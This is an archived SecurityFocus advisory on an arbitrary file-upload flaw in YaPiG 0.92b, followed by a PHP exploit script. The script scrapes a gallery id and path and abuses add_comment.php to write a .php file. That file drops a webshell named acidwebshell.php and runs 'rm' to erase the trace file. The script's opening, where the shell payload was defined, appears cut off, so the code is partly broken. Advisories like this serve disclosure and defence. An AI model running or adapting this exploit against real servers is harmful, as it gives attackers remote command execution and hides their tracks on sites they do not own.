source: https://www.securityfocus.com/bid/10891/info A vulnerability is reported to exist in YaPiG that may allow a remote attacker to execute malicious scripts on a vulnerable system. This issue exists due to a lack if sanitization of user-supplied data. It is reported that an attacker may be able to upload content that will be saved on the server with a '.php' extension. When this file is requested by the attacker, the contents of the file will be parsed and executed by the PHP engine, rather than being sent. Successful exploitation of this issue may allow an attacker to execute malicious script code on a vulnerable server. Version 0.92b is reported vulnerable to this issue. Other versions may also be affected. #!/usr/bin/php "; if($argc<2) die("Usage: ".$argv[0]." URL_to_YaPiG_script\n\n"); $host=$argv[1]; if(substr($host,strlen($host)-1,1)!='/') $host.='/'; echo "[+] Getting valid gid & photo path ... "; $webc=get_web($host); $temp=explode(";gid=",$webc); $gid=intval($temp[1]); $temp=explode("photos/",$webc); $temp=explode("/",$temp[1]); $path=$temp[0]; if( !$gid || !$path ) die( "Failed!\n\n"); echo "OK\n GID: $gid\n Path: ".$host."photos/".$path."/\n\n"; echo "[+] Creating WebShell Script ... "; send_post( $host."add_comment.php?gid=".$gid."&phid=.php", "tit=a&aut=a&mail=".urlencode($websh)."&web=&msg=a&date=&send=Send"); $webc=get_web( $host."photos/".$path."/".$gid."_.php" ); send_post( $host."photos/".$path."/acidwebshell.php", "c=".urlencode("rm ".$gid."_.php") ); echo "OK\n Now go to: ".$host."photos/".$path."/acidwebshell.php"; die("\n\nDone!\n\n"); function get_web($url) { $ch=curl_init(); curl_setopt ($ch, CURLOPT_URL, $url); curl_setopt ($ch, CURLOPT_HEADER, 0); curl_setopt ($ch, CURLOPT_RETURNTRANSFER,1); $data=curl_exec ($ch); curl_close ($ch); return $data; } function send_post($url,$data) { $ch=curl_init(); curl_setopt ($ch, CURLOPT_URL, $url ); curl_setopt ($ch, CURLOPT_HEADER, 0); curl_setopt ($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt ($ch, CURLOPT_POST, 1); curl_setopt ($ch, CURLOPT_POSTFIELDS, $data ); $data=curl_exec ($ch); curl_close ($ch); return $data; } ?>